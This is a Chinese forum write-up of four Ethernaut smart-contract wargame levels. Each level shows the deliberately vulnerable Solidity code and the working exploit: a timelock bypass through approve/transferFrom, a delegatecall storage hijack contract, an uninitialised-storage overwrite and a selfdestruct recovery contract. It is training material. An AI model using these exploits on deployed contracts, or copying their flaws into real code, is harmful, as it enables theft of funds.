# 【智能合约】Ethernaut writeup（五）

**URL:** <https://forum.90sec.com/t/topic/1223>\
**Category:** 代码审计\
**Created:** [2020 年7 月 20 日 00:10 UTC](https://forum.90sec.com/t/topic/1223 "2020-07-20T00:10:10Z")\
**Posts on this page:** 1\
**Page:** 1

<div class="post-metadata">

作者： ![CGN-115](https://forum.90sec.com/user_avatar/forum.90sec.com/cgn-115/32/6829_2.png) [@CGN-115](https://forum.90sec.com/u/CGN-115)\
发布日期： [2020 年7 月 20 日 00:10 UTC](https://forum.90sec.com/t/topic/1223/1 "2020-07-20T00:10:10Z")

</div>

# Naught Coin

目标：现在手里有一些代币，但是十年之后才能转走，想办法转走他们，使得你合约中的代币为 0

```
pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/token/ERC20/StandardToken.sol';
 contract NaughtCoin is StandardToken {
  using SafeMath for uint256;
  string public constant name = 'NaughtCoin';
  string public constant symbol = '0x0';
  uint public constant decimals = 18;
  uint public timeLock = now + 10 years;
  uint public INITIAL_SUPPLY = (10 ** decimals).mul(1000000);
  address public player;
  function NaughtCoin(address _player) public {
    player = _player;
    totalSupply_ = INITIAL_SUPPLY;
    balances[player] = INITIAL_SUPPLY;
    Transfer(0x0, player, INITIAL_SUPPLY);
  }
  function transfer(address _to, uint256 _value) lockTokens public returns(bool) {
    super.transfer(_to, _value);
  }
  modifier lockTokens() {
    if (msg.sender == player) {
      require(now > timeLock);
      _;
    } else {
     _;
    }
  } 
} 

```

先看一下有多少代币

await contract.balanceOf(player)

![image](https://forum.90sec.com/uploads/default/original/2X/a/ab97c2545010078fa77433f4e07d3b49105d20e3.png)

在合约中，他 import 了一个 [StandardToken.sol](https://github.com/aragon/zeppelin-solidity/blob/master/contracts/token/StandardToken.sol)

```
pragma solidity ^0.4.6;
import './ERC20Lib.sol';
 contract StandardToken {
   using ERC20Lib for ERC20Lib.TokenStorage;
   ERC20Lib.TokenStorage token;
   string public name = "SimpleToken";
   string public symbol = "SIM";
   uint public decimals = 18;
   uint public INITIAL_SUPPLY = 10000;
   function StandardToken() {
     token.init(INITIAL_SUPPLY);
   }
   function totalSupply() constant returns (uint) {
     return token.totalSupply;
   }
   function balanceOf(address who) constant returns (uint) {
     return token.balanceOf(who);
   }
   function allowance(address owner, address spender) constant returns (uint) {
     return token.allowance(owner, spender);
   }
   function transfer(address to, uint value) returns (bool ok) {
     return token.transfer(to, value);
   }
   function transferFrom(address from, address to, uint value) returns (bool ok) {
     return token.transferFrom(from, to, value);
   }
   function approve(address spender, uint value) returns (bool ok) {
     return token.approve(spender, value);
   }
   event Transfer(address indexed from, address indexed to, uint value);
   event Approval(address indexed owner, address indexed spender, uint value);
 }

```

引用的这个合约中有两个转账函数，一个是 transfer 还有一个是 transferFrom，而题目的合约只对 transfer 进行了重写，我们可以使用题目 import 的那一个合约中的 transferFrom，先看一下 [StandardToken.sol](https://github.com/aragon/zeppelin-solidity/blob/master/contracts/token/StandardToken.sol)import 的 [ERC20Lib.sol](https://github.com/aragon/zeppelin-solidity/blob/master/contracts/token/ERC20Lib.sol)，看一下 transferFrom 是怎么定义的，他需要先经过 approve 批准才能使用

```
...
function transferFrom(TokenStorage storage self, address _from, address _to, uint _value) returns (bool success) {
    var _allowance = self.allowed[_from][msg.sender];
    self.balances[_to] = self.balances[_to].plus(_value);
    self.balances[_from] = self.balances[_from].minus(_value);
    self.allowed[_from][msg.sender] = _allowance.minus(_value);
    Transfer(_from, _to, _value);
    return true;
  }
...
  function approve(TokenStorage storage self, address _spender, uint _value) returns (bool success) {
    self.allowed[msg.sender][_spender] = _value;
    Approval(msg.sender, _spender, _value);
    return true;
  }
...

```

使用 approve 进行授权

`await contract.approve(player,toWei(1000000))`

然后通过 transferFrom 来实施转账

`await contract.transferFrom(player,contract.address,toWei(1000000))`

![image](https://forum.90sec.com/uploads/default/original/2X/f/f60b90c7582558b8e12d84ddf3b60899caa2d557.png)

![image](https://forum.90sec.com/uploads/default/original/2X/a/a666c86cacebda0b7110488d0af19c3e2506b873.png)

![image](https://forum.90sec.com/uploads/default/original/2X/2/2ae4f70c6be3ef88c670f672c1498c847d432250.png)

# Preservation

目标：拿到合约所有权

```
pragma solidity ^0.4.23;
contract Preservation {
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner;
  uint storedTime;
  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
    timeZone1Library = _timeZone1LibraryAddress; 
    timeZone2Library = _timeZone2LibraryAddress; 
    owner = msg.sender;
  }//构造函数
  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(setTimeSignature, _timeStamp);
  }
  function setSecondTime(uint _timeStamp) public {
    timeZone2Library.delegatecall(setTimeSignature, _timeStamp);
  }
}

contract LibraryContract {
  uint storedTime;
  function setTime(uint _time) public {
    storedTime = _time;
  }
}

```

delegatecall 调用的时候执行的是调用的那个函数，但是用的是本合约的变量，可以写一个 exp

```
pragma solidity ^0.4.23;
contract PreservationPoc {
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner;
  uint storedTime;

  function setTime(uint _time) public {
    owner = address(_time);
  }
}

```

首先调用正常合约中的一个函数 setxxxTime("恶意合约地址")，这样就可以把他的变量改成了我们的合约地址，再次去调用的时候就是去执行我们合约中的代码了，比如：

`await contract.setSecondTime("恶意合约的地址")`

这样 timeZone2Library 就成了恶意合约的地址，再次去执行 setSecondTime 的时候就是执行的恶意合约了，拿我们部署的来说就是改变了合约的所有者

`await contract.setFirstTime(player)`

![image](https://forum.90sec.com/uploads/default/original/2X/8/8e0dc8b8e903e3e042ac84d347b042c9ddd7f61b.png)

一开始合约所有者不是我们，后面我们已经成为了合约的所有者，在第一次做的时候这样是不行的，要先用 setSecondTime 设置恶意合约为变量，然后 setFirstTime 来改变合约所有者，不明白怎么回事

![image](https://forum.90sec.com/uploads/default/original/2X/4/4f6189c6f2ccb92203e1a64eac602909d5955ce8.png)

![image](https://forum.90sec.com/uploads/default/original/2X/0/056bdb7d1e402bd8d15874d9a7b35eb8e622926c.png)

# Locked

目标：注册

```
pragma solidity ^0.4.23;
contract Locked {
    bool public unlocked = false; //默认是false
    struct NameRecord { //我们想要注册
        bytes32 name;
        address mappedAddress;
    }
    mapping(address => NameRecord) public registeredNameRecord; // records who registered names 
    mapping(bytes32 => address) public resolve; // resolves hashes to addresses
    function register(bytes32 _name, address _mappedAddress) public {
        // set up the new NameRecord
        NameRecord newRecord;
        newRecord.name = _name;
        newRecord.mappedAddress = _mappedAddress; 
        resolve[_name] = _mappedAddress;
        registeredNameRecord[msg.sender] = newRecord; 
        require(unlocked); //要让unlocked为true才能注册
    }
}

```

[【先知】智能合约审计系列——3、变量覆盖&不一致性检查](https://xz.aliyun.com/t/7152)

这里涉及到一个变量覆盖的问题，在 solidity 中是有两种存储状态的，一个是 storage 一个是 memory，对于 struct 和 数组 来说，默认就是 storage ，对应上面我们的第 12 行 NameRecord newRecord 会被当成一个指针，newRecord.name 默认指向第一个存储块，也就是 unlocked，所以我们可以通过修改 newRecord.name 来修改 unlocked

当输入 name="0x0000000000000000000000000000000000000000000000000000000000000001"(63 个 0)，地址任意地址时，会覆盖 unlocked 的值，使其变为 true

![image](https://forum.90sec.com/uploads/default/original/2X/b/ba1ab35cee36b5d8e90701960b3d41a609b39a84.png)

![image](https://forum.90sec.com/uploads/default/original/2X/6/6ddfaeebd4e2c003bcc113ca12866ed091da5f2d.png)

# Recovery

目标：新生成了一个合约并转了 0.5 ether，但是丢失了合约地址，从丢失的合约中恢复 0.5 ether

```
pragma solidity ^0.4.23;
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract Recovery {
  //generate tokens
  function generateToken(string _name, uint256 _initialSupply) public {
    new SimpleToken(_name, msg.sender, _initialSupply);
  }//新建了下面的合约
}
contract SimpleToken {
  using SafeMath for uint256;
  string public name;
  mapping (address => uint) public balances;
  constructor(string _name, address _creator, uint256 _initialSupply) public {
    name = _name;
    balances[_creator] = _initialSupply;
  }
  function() public payable {
    balances[msg.sender] = msg.value.mul(10);
  }
  function transfer(address _to, uint _amount) public { 
    require(balances[msg.sender] >= _amount);
    balances[msg.sender] = balances[msg.sender].sub(_amount);
    balances[_to] = _amount;
  }
  function destroy(address _to) public {
    selfdestruct(_to);//自毁函数,pubic的
  }
}

```

生成一个实例之后去看一下详情（国内 404，所以要..）

![image](https://forum.90sec.com/uploads/default/original/2X/c/c0ec35b4817a69354035887ba90462cddb4eef4c.png)

可以看到，我们的帐户给了他 1 ether，然后他又给了另一个地址 0.5 ether，这就是新创建的合约的地址，我们只需要调用新建的这个合约的 destory

![image](https://forum.90sec.com/uploads/default/original/2X/5/5994e4d71584e1b6873ca7ed1c43177b67364c14.png)

mark一下：

新建合约：0xD2F46c7A6F69d56570BF25346f0Cc893a5925828

exp：把新建的合约地址贴上去部署 RecoveryPoc

```
pragma solidity ^0.4.23;
contract SimpleToken {
  string public name;
  mapping (address => uint) public balances;
  function() public payable ;
  function transfer(address _to, uint _amount) public ;
  function destroy(address _to) public ;
}
contract RecoveryPoc {
    SimpleToken target;
    constructor(address _addr) public{
        target = SimpleToken(_addr);
    }//构造函数
    function attack() public{
        target.destroy(tx.origin);
    }
}

```

把那 0.5 ether 还给了我们，同时自己销毁了

![image](https://forum.90sec.com/uploads/default/original/2X/6/67e3798b8b5f8933bb6f1ab6a8937772cddfa80b.png)

提交就可以啦

![image](https://forum.90sec.com/uploads/default/original/2X/5/55dfea025a53907092b239d0b59a3c4542f54fcb.png)
